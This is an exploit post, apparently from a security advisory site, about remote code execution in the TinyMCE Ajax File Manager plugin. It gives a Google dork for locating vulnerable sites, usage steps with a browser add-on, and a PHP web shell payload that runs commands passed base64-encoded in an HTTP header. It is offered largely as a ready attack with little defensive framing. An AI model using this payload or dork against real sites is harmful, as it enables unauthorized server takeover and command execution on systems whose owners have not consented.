TinyMCE Ajax File Manager Remote Code Execution *youtube

2013.04.30
Credit: onestree
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

____ ____ ____ _______/ |________ ____ ____ / _ \ / \_/ __ \ / ___/\ __\_ __ \_/ __ \_/ __ \ ( <_> ) | \ ___/ \___ \ | | | | \/\ ___/\ ___/ \____/|___| /\___ >____ > |_ | |__| \___ >\___ > \/ \/ \/ \/ \/ # Exploit Title : timynce Ajax File Manager Remote Code # Author : By onestree # Software Link : http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/ # tested : windows 7 # Dork : inurl:"/plugins/filemanager/" or inurl:'/timynce/plugins/" ************************************************************* how to run the exploit use firefox web browser and download firefox add ons HackBar exploit : foo=<?php error_reporting(0);print(system('onestree'));passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?> ==================================================================== tutorial video https://www.youtube.com/watch?v=ahli-dehYWY Thanks : Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell indonesiancoder - moeslimh4x0r - go-coder spesial my hunny ( Fheby Yahya) :* muaaah

References:

http://cxsecurity.com/issue/WLB-2013030083
http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/
https://www.youtube.com/watch?v=ahli-dehYWY


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top